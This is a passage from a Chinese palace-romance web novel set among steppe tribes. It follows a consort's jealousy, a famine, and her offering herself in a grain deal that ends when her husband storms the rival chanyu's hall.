阿素珊怒道:“这是重点吗?重点是芙缇娜啊!!!你的脑子快想想怎么对付芙缇娜啊!”
她要崩溃了,为姐妹操碎心。深深感慨,世间性格都有两面性,穆凝姝心软善良,救了她和小胖宝。若是当初遇到的芙缇娜,她真不敢想是否还能活着。
可是这样的心性,要怎么跟人争夺呢?连她一个从未争过宠、生于市井的平民,都觉得穆凝姝不是这块料。心不在此,手段更是全无。
阿素珊房中时刻炖着一堆补品,她随手拿了份,塞给穆凝姝,道:“我这里不需要你帮你。你现在立刻拿着这个,去看赫连煊,去跟他说话,关心他。现在就去!”
穆凝姝被阿素珊赶出来,晕晕乎乎走到议事大帐,脑子里还想着阿素珊讲的那些事情。
她习惯性走到大帐后门。
芙缇娜娇俏的声音传来,“毕竟是半路收继而你来,也没有选择。其实你们的这一段,都是身份缘故,跟人本身无关,更谈不上感情。”
赫连煊沉默许久,若有叹息,道:“的确如此——”
穆凝姝感觉心脏忽然一坠,说不出是痛还是麻。
她转身往自己毡帐走去。
迎面遇到一侍女,朝她行礼,道:“阏氏安好,您怎么在这儿呢?”
侍女是新面孔,年轻得有点儿稚嫩。上回嚼舌根之事后,带头的那些人被杀鸡儆猴,其他人也遭遇大换血,几乎全都换了批新人。
“路过。”穆凝姝飞速说道,将手里炖品塞给侍女,“给单于的,帐中似乎在议事,你挑个清静合适的时候再送,不急。”
侍女笑道:“您来都来了,亲自拿进去呀。”单于今日问起阏氏好几次,应当很想看到她吧。主子们的事,她可不敢多嘴。
穆凝姝面无表情,道:“不了。我有事,我很忙。”
说完就走,步履匆匆。
侍女望着她的背影,喃喃自语:“真是怪了,竟然比单于还忙么……后妃会这么忙啊……”
她将炖品拿进去。
札木尔恰好看到穆凝姝走远,进毡帐后,看到赫连煊面前的黄豆炖猪蹄,道:“咦,这就是凝姝阏氏送的补品?黄豆炖猪蹄……是下奶用的吧。她怎么给你送这个?啊我想起来了,阿素珊帐中天天炖这个,我上回去送东西她还给我喝过。”
芙缇娜噗嗤笑出声,掩唇道:“简直像顺手顺来的。直接端着罐子。连碗都没装。”
赫连煊沉默,黑沉的脸色越发黑沉。
札木尔道:“单于,你不喜欢吃这个,给我吧。我觉着还行。管他下奶的还是什么的,都能吃。”在赫连煊更加黑沉的眼神下,他颤颤巍巍缩回手,“您、您请用。要不今晚就不再另外安排晚膳了?”
这玩意儿腻得要命,一大罐,能撑死。
赫连煊黑着脸,全部吃了个干净。
* * *
穆凝姝除了夜里宿在王帐,其他时间都在忙自己的事。马场,药帐,还有王庭之外的地方,很多很多事情,她都能做。
同赫连煊,没什么话讲。
他留宿在议事大帐的时间越来越多。
她再未去过议事大帐,每日清晨路过时,仍然忍不住瞥一眼。
直到,芙缇娜从中出来,仅着睡袍。
半旧的赤色羊绒,同赫连煊的,一模一样。
第43章 第 43 章 43凉热
积雪和飞雪间, 芙缇娜一身红色,朝她走来。
睡衣单薄松垮,北风吹过,露出些许风光。
好在时辰尚在, 周围除了值守的侍卫们, 没什么人。芙缇娜依旧洒脱自如, 好似侍卫不算人, 跟地上的石头和积雪没分别。
芙缇娜道:“阏氏,贵人事忙,好久不见。”
穆凝姝眼神从她的衣裳,移到一旁,道:“天寒地冻, 公主穿得甚是单薄。这衣裳, 有些旧了。”
身后侍女追来,将皮草外衣给芙缇娜披上。
芙缇娜边扣扣子,便道:“的确有些年头,还是我在祯跶部时亲手做的。这种料子很难得,是祯跶单于赏我的。当时我给自己做了两件,给单于也做了两件,布料刚好够用。”
穆凝姝愣了下,很快回神, 淡淡道:“嗯,公主手艺挺好。我还有事,先告辞。”
芙缇娜道:“阏氏烦请留步, 相请不如偶遇,请您务必赏脸。你我都是女人,有些事, 还是说开为好。”
她以手示意,请穆凝姝去旁边一处毡帐中。
毡帐空旷偌大,平时用以举办宴会,此时无人。
两人随意找了处坐下,侍女奉来热茶。
芙缇娜隔着腾腾热气,盯着她,道:“我和赫连煊一路走来,很不容易,还请阏氏不要再打扰我们。”
穆凝姝捧着茶杯,奇怪道:“我,打扰你们?这话从何说起?”
自从阿素珊让她送炖品后,她再未主动去过议事大帐,白日她和赫连煊各忙各的,许久没见面。夜里倒是见得上,却也说不上几句话。
这段时间穆凝姝倒是有个新发现——撒娇这种技能,并非想获得就获得,它存在触发条件。
她从小到大不知撒娇为何物,在赫连煊身边,无师自通此技能,因为心里知晓他吃这一套,宠爱她,纵容她。
现在她明白,这个环境保障不复存在,便立即自动打回原形。
每天能说的东西就那么多,赫连煊有芙缇娜陪着,自然不会再跟她有太多话要讲。她也不是自讨没趣的性子,没办法再像之前那般自然而然地等着他缠着他,便也淡淡的,疲乏时倒头就睡,连他几时回来都不知道,
两人间的氛围和联系,说来也挺奇妙。
芙缇娜自是知晓二人现在生分许多,至少白天都见不到穆凝姝去找他,道:“阏氏,实话告诉你,我和你,和你们都不同。赫连煊的父亲,只有耶律槿一个妻子。我的父亲,也只有我母亲。或许在你们眼中,单于就该有后宫三千,但我不觉得,我只想和他一生一世一双人。”
芙缇娜仿佛想到什么很难以下咽的东西,喝茶时眉头紧锁,看向她道:“若非出现你这个意外,其实,我和他会顺利许多。他宠幸过你,我可以理解,毕竟是男人,血气方刚。可是每每念此,我都觉得很膈应。当然,这种感觉,或许你不会懂,你早已适应。”
穆凝姝感觉浑身血液涌向头顶,仿佛要冲破天灵盖狂飙,怒极反笑。
明白了,原来是在觉得她难以下咽。
她沉默片刻,冷冷道:“芙缇娜,你父母恩爱,出身优越,诸事顺遂,哪怕叛逃去祯跶部,依然辉煌灿烂,或许你的人生里,从来没有过苦难。
你会兵法,只是因为刚好你有个好父亲,愿意这般培养你,让你与众不同。我侍奉赫连煊,是因为这是我身为妃嫔的职责,在你口中就成了见不得人的龌龊。民间目不识丁的妇人们,终其一生勤勤恳恳牧羊缝衣,是因为她们生来没机会识字。
你在蔑视不如你的女人们之前,能不能想一下,不是所有人生来就有你的幸运和优渥。我和这些妇人,都同你一样,对自己的人生尽职尽责,只是我们命运如此,比不得你盛大辉煌。
我早说过,你们之间的问题,与我无关。这些话,你应该去跟赫连煊说。让你不舒服的,是他。决定要碰我的人,也是他。明明一切源头在他,你没必要总来讨伐我。”
芙缇娜压住怒意,道:“赫连煊责任感极重,不忍心对你直言。他向来如此,我不愿让他为难。”
穆凝姝无语至极,道:“所以就来为难我?你倒真是善解人意。赫连煊要宠爱我,还是冷落我,他是君,我是妃嫔,他想如何,我别无二话。但你没有这个权力让我离开他。”
芙缇娜道:“我是在给你体面。如果我愿意,随时可以当上正室阏氏,掌管后宫。届时,恐怕不会这般耐心对你。”
穆凝姝放下茶,站起来,回眸一笑,道:“芙缇娜,你说是心中芥蒂他碰过我,你自己身为臣子,却越界做妃嫔之事,看来你心底也并没有多膈应。还是收收你那高高在上的嘴脸,也不必标榜什么一生一世一双人。咱们为妃为嫔,心情开阔些才好,姐姐妹妹多几个,更热闹。”
“你——”芙缇娜没料到,平日里温吞纤柔穆凝姝,竟然如此顽强,不肯退却。同为女人,芙缇娜看得出,她偷偷望向他的眼神,明明含情颇深。
穆凝姝道:“多谢招待,茶你自己留着喝。这茶的滋味,远不如你。”
她径直离去,策马去牧场。
芙缇娜走出毡帐。
札木尔从议事大帐出来,看到芙缇娜,朝她走来,道:“你怎么在这儿?外头多冷啊,你在隔间里等就行。单于已用过早膳,你现在可以去奏事。最近事多,他常常忙到深夜,早上稍稍起得晚些。你今天来得太早了,以后可以等中午再来。你的事也不是紧急军务,不需要着急。”
芙缇娜粲然一笑,“隔间又小又闷,我出来透透气儿。多谢札木尔大人提醒。有劳您通传,我现在过去。”
* * *
今日事忙,穆凝姝回到毡帐中时,天色已晚。阿香如常给她送来温补汤药。
穆凝姝坐到桌边,双手捧着药碗,看着热气腾腾的汤药,脑子里回荡起早上那会儿,芙缇娜的身影,以及对她说过的话。
一整天,她忙忙碌碌,将此事抛诸脑后。现在陡然无事可做,思绪逃无可逃。她自己也不知,白天那会儿,到底是故意在以忙碌逃避,还是她早已从内心接受了赫连煊深爱芙缇娜的事实。
她还记得跟赫连煊之间的欢愉过往。如今他终于得偿所愿,向来同芙缇娜在一起,想必会更加开心。
就像她曾经对他那样。
其实爱侣间有肌肤之亲,着实是自然而然的一件事。赫连煊跟芙缇娜亲近,并无不妥。就如她白天说过的话,她是妃嫔,侍奉他是她职责所在。那么,他是帝王,无论宠爱谁,都是他的权力。
他对她并未有过任何承诺,芙缇娜来后,还依然一切待遇如旧,从未苛待。
平心而论,他已是仁至义尽,无可指摘。
不知为何,她眼睛有些难受,抬眸朝远处看看,屏风上搭着搭着那两件赤色羊绒睡袍。
她最近经常穿。
难怪赫连煊对她那么大方,从不吝惜赏赐,偏偏不肯给她一件旧衣。原来是心上人亲手做给他的,穿旧了也是心爱之物。
这么一算,其实他还是很大方,居然肯让她一次又一次蹭着穿。
早知如此,她必不会那般厚脸皮。
穆凝姝低下头,再度盯着碗中汤药。
热气消散,平静漆黑的水面,映照出她的脸。
她抬手揉揉眼睛。
继续捧着药碗发呆。
她之前很想很想要一个跟赫连煊的孩子。
此刻心中却生出迷茫来,她凭什么要这个孩子呢?凭她自说自话,强行满足一己之私吗?
赫连煊对孩子的态度,向来淡漠,从没跟她表示过一星半点的想要。
现在看来,或许,他只想要他和芙缇娜的孩子。
他自小饱受赫连涛欺负打压,王族内的血腥争斗,再清楚不过。
其他阏氏生下的孩子,只会给他和芙缇娜的孩子们带来麻烦。
这补药,她没必要继续喝下去。
生下儿子,下场会有多凄惨,不必多言。
芙缇娜注定成为大阏氏,以其目不容尘的性格,即使她生下女儿,毫无威胁,芙缇娜也不会善待她们母女二人。有了后娘就有后爹,人性使然,时日一久,赫连煊也不会把这个女儿当回事。若是查出她靠喝药才怀上孩子,说不定还会觉得,她费尽心机算计他。
她心脏狠狠一痛,忽然难过得无以复加,狠狠抹了下眼睛。
这段时间里,得知赫连煊和芙缇娜的前缘也好,今日看到芙缇娜衣衫不整从他帐中出来也好,她从未如此难受过。
喜欢赫连煊是她自己的选择,不关他的事,她从未对他有任何怨怼。
对这一切,她一直接受良好。
可是,如果赫连煊哪怕流露出,对她孩子的一点点不在乎,光是想想,她就难过得想哭。
孩子是无辜的。
她当然知道赫连煊不至于在待遇上苛待孩子,但没有钱时,钱重要,衣食无忧后,她发现爱也很重要。尤其对于一个小孩。
她小时候,过得很不好。家里稍有不顺,她爹就打骂她,踹她肚子,骂她要不是胜了她这个赔钱货,家里一定早就过上了好日子。偏偏家里穷,十天里有九天不顺。
赫连煊幼时,也很可怜,也没有父爱。
她不愿自己的孩子,成为另一个他们。
不被期待的孩子,不必来到世间走一遭。
穆凝姝呆呆捧着早已凉透的药碗,连赫连煊转过屏风过来了,也未察觉,直到人站到她面前。
第44章 第 44 章 44远水近渴
赫连煊盯着她手里那碗黑漆漆的药汤, 眉间蹙起,薄唇紧抿。
穆凝姝同他在一起许久,很清楚他各种的表情和习惯。
他心情极度不好时,才会露出这个表情。虽然看上去颇为平静。
她慌忙站起来, 有些无措, 尽力镇定下来, 道:“我、我可以解释——”
“不必。”赫连煊打断她。
他眼神仍旧停留在那碗药上, 静默伫立良久,朝屏风那处走去,取一条上面搭着的睡袍,又从柜子中翻出几件常穿衣物,朝门口走去。
再度路过穆凝姝身旁, 她还是同方才一样站在原处。
他看向她, 喉间滚动两下,道:“别喝了。”
穆凝姝怔然片刻,低声应下,“嗯。”
他舒口气,仿若疲倦至极,大步流星离去。
门外传来侍女们恭送大单于的声音。
整日的劳累一瞬间侵袭而来,穆凝姝坐到凳子上,望着药汤中脸, 神色疲惫。
她不打算再喝了,偏偏今日被他撞破,他必定以为, 她在算计他。
其实,这么想也没错。
她自作主张偷偷喝助孕药,不敢让他知道, 说到底也是担心他不允。
她惯来知晓,赫连煊骨子里是个很念情很温和的人。今晚却仍然震惊于他的宽宥。
他竟没责骂她半句,也没驱赶她离开,反倒自己收拾东西走了。
没有这样的道理。
这里是他的毡帐,该走的人是她才对。
穆凝姝叫来侍女,吩咐收拾下她的东西,搬回自己毡帐。
她起身,端着药碗,朝外走去,随手将药倒在路过的盆栽中。
* * *
距离冻灾发生,已两月有余。凛冽寒冬让这场天灾雪上加霜。
流民越来越多。
敕加牧民们,从来不敢随意为吃肉而宰杀牛羊。
中原平民百姓以农业为生,依靠土地种植粮食,循环往复。草原环境艰苦,难以发展灌溉农业,于敕加人而言,牛羊就是他们的土地,让他们有源源不断的奶制品和皮毛,拿去集市换取必需品。
现在牛羊大批量冻死,短时间内,百姓们可以靠吃它们的肉存活,但接下来,无以为继,注定引发大面积饥荒。
穆凝姝日日在外奔忙,对此感受颇深。
各部族的牧民们,缓缓朝最为富庶的王庭地区迁徙,以求有口饭吃。路边衣衫褴褛之人,随处可见。
路过一灾民聚集处,她见一男人拽着个小姑娘,跟另一人争执不休。
穆凝姝留心一听,两人竟是在讨价还价。
男人是小姑娘的爹,要将这孩子卖给那人。
她下马过去,问男人道:“她是你亲生女儿,此等光景,一旦卖出去,孩子极有可能被当成口粮吃掉。你怎么忍心卖掉?”
男人饿得眼冒绿光,有气无力,道:“老子都要饿死了,等老子一死,她还是活不成。自家孩子,我不忍心吃她,跟人家换点干粮吃,要你多管闲事?呸!瞧你这样儿,生于富贵人家,哪里知道快饿死的滋味。少管老子的事。”
侍卫怒踹男人膝窝,“不得无礼。”
男人吃痛跪下,边告饶边朝穆凝姝磕头,“贵人,贵人!小的不敢了。要不你把这孩子买去,当个奴婢使唤?或者想吃掉也行啊,小孩子细皮嫩肉,您吃着滋补啊——小的求您,随便赏我点吃的就成……”
穆凝姝命人拿了几袋饼子,去问问这里带小孩的人,愿不愿意交换。
灾民们纷纷答应,拿孩子换吃的。
穆凝姝带上孩子们,朝王庭方向回去。
岁饥,人相食。
史书上的一句话,是人间最可怕的地狱。
* * *
穆凝姝将带回的孩子们安置在马场,学着做些简单的活计。伶俐点的女孩子们,可跟着老嬷嬷们学学东西,有机会成为侍女。
但这样流离失所的孩子太多。
穆凝姝带回几批后,朝中大臣提出异议。
王庭虽然不至于吃不起饭,但也绝非随意收养流民的地方。年长些的孩子能做事还好,三四岁的孩子们,捡回来,纯粹是浪费粮食。
战场上年轻力壮的俘虏,尚且会因浪费粮草而遭到处决,何况这些没用的低贱孩子。
掌管侍女仆从的内官亦有异议。
能入王庭当侍女的人,皆为精挑细选而来,有些甚至是附属小部族里的贵族女孩。
穆凝姝随随便便让流民女子进来当差,挤占了侍女名额。现在正是大灾,附属部族们都急着把自家子女送来王庭,哪里轮得上她们。
流民中渐渐生出暴民队伍,沿途抢劫,众臣正为此焦头烂额,碰上穆凝姝的事,越发有气。
“这些人该直接杀掉。老子造反当暴民,小孩还要养在王庭,荒谬至极。那女人不会管就别瞎管,妇人之仁。”
赫连煊闻之,压下此事。穆凝姝自知理亏,前去找他认罪谢恩。
诸多大臣们在里面议事。
她坐在隔间里等候,到晚膳时分,里头才终于空荡。
侍女来此送膳。
赫连煊太忙,饭菜吃得简单,一个托盘能装下。
穆凝姝接过手,走进去。
王座上的俊朗青年,清减许多,提笔蹙眉,批阅奏折。
她将饭菜放在旁边的餐桌上,道:“单于,先吃点东西再阅,好不好?”
赫连煊闻声抬头,见是她,愣住好一会儿,放下朱笔,走到餐桌旁。
许久没见到她。
穆凝姝盛好饭菜递给他,柔声道:“谢谢。”
赫连煊知晓她所指为何,道:“不用。你做的没错,但王庭有王庭的规矩和利益斗争。另外,近来暴动频繁,你不要再外出,会有危险。”
穆凝姝点头应下,犹豫一会儿,问道:“当真……又要打仗了吗?”
方才在隔间里,她听到许多消息,后宫不得干政,她不该问,却忍不住。
赫连煊并未就此指责,回答道:“是。这样下去,各个部族会对赫连王庭失去信任,流民和暴民也会越来越多。此次受灾集中在我部和须卜部,如果不尽快稳住局势,让须卜部先缓过来,我们会更危险。”
大臣们商议的战略中,一是敕加族内部争斗,攻打其他部族。二是南下劫掠姜国。
短期内无法筹备粮食,以上两条路必须选一条。
敕加族男子全民皆兵,如今饱受饥寒,打起仗来都不要命,攻打其他部族风险极大。
南下劫掠为首选。
历朝历代,往往如此。
南边接壤国家,便是姜国。
见穆凝姝神色忧愁,赫连煊道:“草原上的牧民们,都很讨厌狼。因为狼会吃掉大家辛辛苦苦养的羊。可是,狼不吃羊,就会死,它们活该去死吗?孤是君王,必须为赫连部族的生存负责。公主,生存之举,没办法。”
穆凝姝道:“我明白。现实残酷,无论是孩子们的安置,还是攻打劫掠,你们都有自己的考量。”
赫连煊抬手,顿了下,落在她额发上,轻轻揉揉,道:“孤会下令,只抢粮,尽量不杀姜国百姓。最近太忙,我顾不上你,你好好待在帐中,看你的话本子,不要乱跑,也不用在意外面乱七八糟的事。放心,有孤在,饿不到你。”
穆凝姝眼中酸涩,他当真待她极好。
虽然两人不复从前亲近,纵然赫连部举步维艰,她的一切衣食住用,全都如旧。她提过几次裁减份例,他没应允。
穆凝姝压住难过,看向他道:“我很好。你……瘦了许多,多保重身子才是。留得青山在,不愁没柴烧。赫连部需要你。”
赫连煊笑了下,低声道:“好。”
* * *
赫连煊忙于制定计划,准备部署兵力之时,派去祯跶部借粮的使臣回来了。
祯跶部因有山脉阻挡北方风雪,此次受灾程度最小。
行军作战,对人力和物力损耗都极大,尤其在艰苦寒冬中,大军出走后,还得担心王庭遭受袭击。若能跟祯跶部借到粮食,免去征战,当是最好。
祯跶部使臣觐见,跟赫连煊一一说出祯跶单于开出的价码。
祯跶部愿意提供牛羊粮草衣物等物资,帮助赫连部渡过难关,赫连部目前需先奉上金银,待来年繁衍收获,再五倍奉还所借。
祯跶部有自己的考虑,据密探报,须卜部离姜国太远,远水解不了近渴,须卜单于处境极为艰难,想联合赫连煊攻打祯跶部。
祯跶单于担心,若是逼急了,两部联起手来,又有赫连煊这军事天才压阵,祯跶部受损吃亏,不如分解下二者的联合,也有利可图。
诸大臣齐聚议事大帐,商议此事。价码虽高,却是目前最省力安全的选择。
一片探讨中,祯跶部使臣朗声道:“祯跶大单于,还有个条件。”
赫连煊道:“说。”
使臣行礼,道:“祯跶大单于亲自指示,此番务必要将凝姝阏氏带回我部。”
赫连煊眸色顿时暗沉,面色却未大改,仿若平静如初,“你说什么?”
使臣道:“前些时日,祯跶大单于外出游访,契机之下,见过这位姜国公主,惊为天人,打听后得知,是赫连部的凝姝阏氏。素闻赫连单于宠爱此女,若能割爱,将她送给我部,可展示出赫连单于对此次援助的诚意,也是来日兑现承诺的保障。赫连单于让凝姝阏氏跟小臣回去,祯跶单于见到她,会立即差人押送物资至赫连部。若无此女,此番援助,便不得成行。”
毡帐中一时寂静,赫连煊静默无话,手指在椅背上轻轻敲打。
使臣望向坐席中的芙缇娜,道:“当年,芙缇娜公主,亦是如此。祯跶部同您的交易,早有先河。赫连单于请相信,我部单于向来言出必行。”
第45章 第 45 章 45“我是你什么人?”……
赫连大臣中有人不满, 道:“你们明知凝姝阏氏是赫连单于的宠妃,还作如此要求,祯跶部未免太欺负人。”
祯跶使臣神色倨傲,见赫连煊面色黑沉, 心中越发有数, 就是得要赫连煊难以割舍的女人。能轻易送出去的女人, 算不得好筹码。
使臣道:“赫连单于, 实不相瞒,祯跶单于跟小臣嘱咐过,只要您能肯割爱,他愿让步,不必五倍奉还, 只需三倍。这是我们单于的诚意。”
此话一出, 刚才不满的几个赫连大臣顿时沉默。五倍返还降为三倍,于赫连部而言,得利甚多。
赫连天林站在赫连煊身后,眼见他的手已伸到王座下的刀柄上,赫连天林眼疾手快,猛然按住他的肩,疯狂眼神示意——两国交战,不斩来使, 况且如今赫连部本就处于劣势。
赫连煊放开刀,冷声道:“交易取消。滚。”
祯跶使臣从未受过如此粗待,脸色煞白。
众臣交换眼神, 看向赫连煊。只是一个女人罢了,君王该以大局为重。
气氛焦灼,帐门处传来一阵女声:“使臣远道而来, 舟车劳顿,不妨歇息片刻。待妾身跟单于谈谈,再同您相商。”
穆凝姝缓缓走来,逆着帐外白光,矜贵清冷,姿容绝世,恍若神女。
纵然见过无数美人,祯跶使臣也在一瞬间呆愣晃神。难怪祯跶单于偶遇此女后,念念不忘,志在必得。
穆凝姝朝他道:“近来赫连部事务繁忙,单于心情不太好。此事既然涉及到妾身,还请使者给妾身点时间劝劝单于。”
既然这位阏氏递上台阶,态度和缓,或许事情有转机。使臣顺着穆凝姝的意思,体面行礼告退。
其他大臣们见此,纷纷自觉离去。
帐中仅余二人。
穆凝姝走到王座旁,道:“答应他们吧。我愿意去祯跶部。”
赫连煊骤然抬头看她。
穆凝姝冷静道:“如能顺利借到物资,一切难题迎刃而解,这是最简单可行的方法。刚才我在隔间中,都听到了。我觉得,祯跶部开出的价码还不错。没想到我身价能这么高。”
赫连煊站起来,盯着她,认真道:“公主,你没有身价。不管出多少,孤不会让你去。”
穆凝姝愣了下,道:“怎么会没有呢?世间的一切,都有价格。”
家乡饥荒时,她的爹娘即使知道卖掉她后,很可能她会被人吃掉,依然把她卖了,换了一袋黍米。
幸得她命大,买家是个戏班子的头头,见她长得好看,带着她到处乞讨杂耍。
她十二岁那年,他们在姜国都城的集市卖艺,一个青楼老鸨看上她,要买她。恰逢宫中的孙嬷嬷出来办事,见她乖巧可怜,将她给买了下来,托关系带进宫里当宫女。
再后来,孙嬷嬷生病,她经过挑选,以公主身份出塞和亲,将赏金留给孙嬷嬷治病,颐养天年。
她的前半生,在不断跟人做交易。
如果交易不成,一定是出价还不够高。
此番祯跶部给出的价码,着实高昂。
穆凝姝真心觉得很值。
一直以来,赫连煊都活得太辛苦。自小飘零无依,常与死亡相伴,当上单于后,也没享受过多少清闲。
雪灾之后,他劳神费力处理政务,夙兴夜寐。她在外奔走时,却听到无数人对他的谩骂。
谁都无法左右天灾,百姓却将牛羊冻死,流离失所的责任,全加诸于赫连煊一人,怨恨君王失德。
这对他不公平。
如果可以,她想让他得以喘息,过得稍稍不那么累。
穆凝姝轻松道:“单于,放我去吧。只要祯跶部送来物资,一切迎刃而解。或许你觉得挺丢人,拿堂堂单于宠妃交易怪不好听的。但你想想姜国,当年我父皇还不是咬牙受辱,让我和亲嘛。三年多过去,姜国状况改善许多,缓过劲儿来。赫连部亦是如此,谁还没个困难时刻呢……啊,你还是太年轻了,把面子看得太重,其实面子压根——”
“公主,你把离去说得如此轻松,是我对你不够好吗?”赫连煊听不下去,打断她,望着她的双眸,“在你心里,我到底是你什么人?”
穆凝姝顿住,望着他的眼睛。
金黄色的双眸,璀璨如太阳。
他就是她的太阳。
穆凝姝静默好一会儿,道:“家人……单于,你对我很好,是我最重要的家人。我很珍惜这段恩情,也该报答你。”
在她的全部人生中,没有人比他更温暖,对她更好。
他是她在这世间最爱的人。
他感受到的爱是贪欲,沉溺,嫉妒,愚蠢和失控。
这一次,她想尽量给他更好一点的爱意,没有任何束缚和负担。
玛茹和芙缇娜认识他更早,爱他也更早,但她相信,她对他的爱,绝对不会少于任何人。
她知道,如果此刻说出她将他视为爱人,以他的责任感,越是难以放手,对她的愧疚会更深。因为他无法回应她这份爱意,却要利用她的爱意去牺牲她。
穆凝姝轻轻牵住他的双手,鼓起勇气,踮脚吻在他侧脸。
她紧张得不行,却极力表现出平静,笑道:“敕加族的习俗,告别前要亲吻下脸颊。赫连煊,你看,我如今行事作风都特别像赫连人啦。我是你的阏氏,既然享受了赫连部供奉,享受了你的荫蔽照顾,便该食君之禄,忠君之事。从前我对姜国如此,而今对你,亦是如此。让我去,否则我心意难安。”
赫连煊哑声道:“公主当真教养极好,知恩图报。你连为我牺牲都愿意,为何不能为我留下?”
为他留下?
穆凝姝不明白,他为何会有此一说。
他拥有了芙缇娜,拥有了梦寐以求的月亮,何必还需要她这颗星星呢。
或许在过往那段短暂时光中,她带给了他些许快乐的微光,现在又这么善解人意,所以他也会舍不得吧。
但她却舍得。
甚至觉得,这是她这段单相思最好的出口。
他眼中的善解人意,对她而言,有点残忍。
只有不爱的人,才能一直善解人意。
其实她远不如他想象中那么好,道理她都懂,却也无法一直在他身旁,看他同芙缇娜恩爱情长。
“没有我,你还可以有很多其他人嘛。”穆凝姝想到那次送炖品,在帐外听到的话,“我们之间……凑巧你当了单于,我是你庶母,便在一起罢了。换个人来当姜国公主,亦是一样。你最会权衡利弊,该知道此事轻重。”
赫连煊闷声道:“在你身上,我从未有过权衡利弊。”
穆凝姝很不适应这种悲切。
人和人之间,只能拥有一段关系,而不能完全拥有另一个人。
这是她在无数次离别中,学会的道理。
她总是在离别。
儿时和父母,少时和待她还不错的戏班子老头,再后来跟孙嬷嬷,跟姜国,跟莫勒钦。
她习惯了这种一段又一段的关系。
在与赫连煊最快乐的时光里,她都没想过会与他长长久久,会彻底拥有他这个人,因此,她格外珍惜跟他共度的每一刻,想着若有一天同他分开,她也不虚此行。
穆凝姝看向他,挠挠额头,轻快道:“欸——你别这种表情,我愿意去,你该高兴才是。我长得美,性子又好,无论跟着谁,都能过得很好。使臣也说了,祯跶单于对我一见钟情。等我到了那边,一定多为赫连部美言。”
她再度踮起脚,亲吻在他另一侧脸颊,轻声道:“就这样吧。再见,赫连煊。”
* * *
阏氏本人主动请行,赫连部与祯跶部的交易很快谈妥。大家虽知道不该表现出欣喜,但王庭中凝重紧张的氛围,放松许多。
侍女们替穆凝姝梳妆。
她指尖划过浅粉芍药纹床幔,心绪飘然。
敕加人喜欢芍药,认为它美丽动人,象征荣华富贵和真诚不变的爱情。在姜国文化中,芍药却意味着“将离”。
之前她一直遗憾未有身孕,而今看来,或许冥冥中自有天意,让她在离去时,可以不要牵挂太深,太难过。
侍女捧着托盘进来,道:“阏氏,使臣送来祯跶部的衣裳首饰,请您换上。”
穆凝姝依言换上,缓缓走出毡帐。
王庭前的空地处,已有马车等候,祯跶使臣和军队,等候她一同离去。
穆凝姝望着高台的赫连煊,他今日亦穿着红衣,白雪纷飞中,他俊美如画。
脑海中涌现出无数同他在一起的碎片。
她朝他笑笑,挥手道别,掀开马车车帘,落座。
“既然享受了赫连部供奉,享受了你的荫蔽照顾,便该食君之禄,忠君之事。”
话说得好听,其实,她哪有那么高风亮节。
她满心满眼,全是他。
赫连煊最看中他的江山,她就想成全他。
她的爱人,就该居于高台之上,永远神采飞扬,意气风发。
* * *
车队抵达祯跶部。
祯跶部不同于草原其他部族,他们占据了最好的一片土地,建立城墙宫殿,规模和精细程度虽不能同中原相比,却比毡帐华丽雄伟许多。
穆凝姝跟随使臣,前往大殿拜见祯跶单于。
大殿王座上,中年男子身形魁梧,贵气逼人。
穆凝姝看清他的脸,想起来,她确实见过他。
她在赫连部分发药草救助流民时,这人在路旁袖手旁观,还说她多事,不该浪费药草,应当趁机抬价云云。
穆凝姝跟他吵了一架,见他衣着华贵,器宇不凡,以为他是蠹虫官员。灾情严重,各个附属部族都有官员来协助做事。她质问他来自哪个附属部落,官职几何,要惩治他。
第46章 第 46 章 46贪求
“凝姝阏氏说要惩处孤, 孤说过,孤等着。”祯跶单于望着大殿下的女子,眼神倨傲,在她身上从上到下扫过, 直白粗野, “今晚, 阏氏可以尽情惩处孤。”
此话一出, 殿上哄笑。
穆凝姝不卑不亢行礼。她对这位单于的行事作风有所耳闻,既来之,则早有心理准备。至少,这场无意间的得罪,还挺值钱。
礼官让她上前为单于敬酒。
穆凝姝接过酒樽, 朝殿上高台走去。
一支箭矢破空而来, 掠过她的掩面红纱,直直钉向王座。
她惊愣刹那。
这熟悉的操作……她反应极快,头都没回,酒樽一扔,往身旁的长桌下钻去。
殿中顿时大乱,刀剑声起。
她心跳得极快。
伸出手,缓缓掀起长桌上坠地的赤红桌布。
缝隙中,预感般看到那道熟悉的身影, 持刀横眉,厮杀缠斗。
刀刃的碰撞,人群的呐喊嚎叫, 一切声音都消失了。
猩红血流,缓缓蔓延开,沾湿她的裙摆。
她却不怕。
纵然大乱当前, 他在这里,她什么都不怕。
厮杀逐渐沉寂。
桌布被人掀开,一只血淋淋的手,掌心朝上,出现在她面前。
穆凝姝手刚放上去,立即被紧紧握住,整个人腾跃而上,跌入一个怀抱中。
满殿血腥,尸骨零落。
赫连煊紧紧抱住她。
她摸到一阵温热,低头一看,手中全是他的血。眼泪瞬间掉下来。
赫连煊咳嗽两声,抬手擦去唇边血迹,再次将她搂入怀中,笑道:“有这么感动吗?前几日被人卖了不知道哭,现在却哭得起劲。没出息。”
“就要哭。就要没出息。”穆凝姝哭得越发厉害。
她以为此生再难看见他。
他竟不顾生死追来。
祯跶城守卫森严,也不知他如何做到。
他太好,对她也太好,她一路上费尽心思放下他,而今全然白费。
这样的人,她怎么可能不喜欢。
赫连煊只是笑,低头吻在她额上。
感动也好,恩情也罢,她为他哭,这就够了。
只要还在他身边,足够。
要他放开她,拱手于人,绝无可能。
赫连煊轻抚她的背,挑眉道,“你夫君是草原上最好的刺客,生平未有败绩。”
神情桀骜不驯,不可一世。
配上旁边扑地的祯跶单于,越发狂傲。
穆凝姝:“……”完了,又被他装到。
她破涕为笑,压不住内心狂喜。她伸手捂住他血淋淋的伤处,脑袋轻轻抵在他胸口,怕弄疼他。
后续赫连精锐赶来,赫连煊放开她,命死士将她带走,找个偏殿先行藏匿。
刺杀突袭只是开端,之后才是硬仗。
* * *
草原三大部落中,祯跶部占据最好位置,得以定居建城,国家富庶,兵力强盛。
赫连煊决意突袭后,对外教唆联合须卜部共同攻打祯跶部,派出使臣瓦解祯跶部附属部落。对内则祸水东引,引导赫连流民迁向祯跶部,发起军功爵制,无论出身,无论男女老少,一律论功行赏。
一群饿疯了的流民,打起仗来,根本不顾死活。
突袭中,祯跶单于和能臣抵住皆死于赫连煊刀下,即使拥有兵力,群龙无首,也难以抵抗赫连煊的进攻。祯跶主力死伤无数,附属部族见此,一些改投赫连煊,另一些大族不甘屈居,带兵出逃。
战事虽未完全结束,但大局已定,赫连煊入主祯跶城。
全族上下欢欣鼓舞,大臣们纷纷给祯跶城改名。
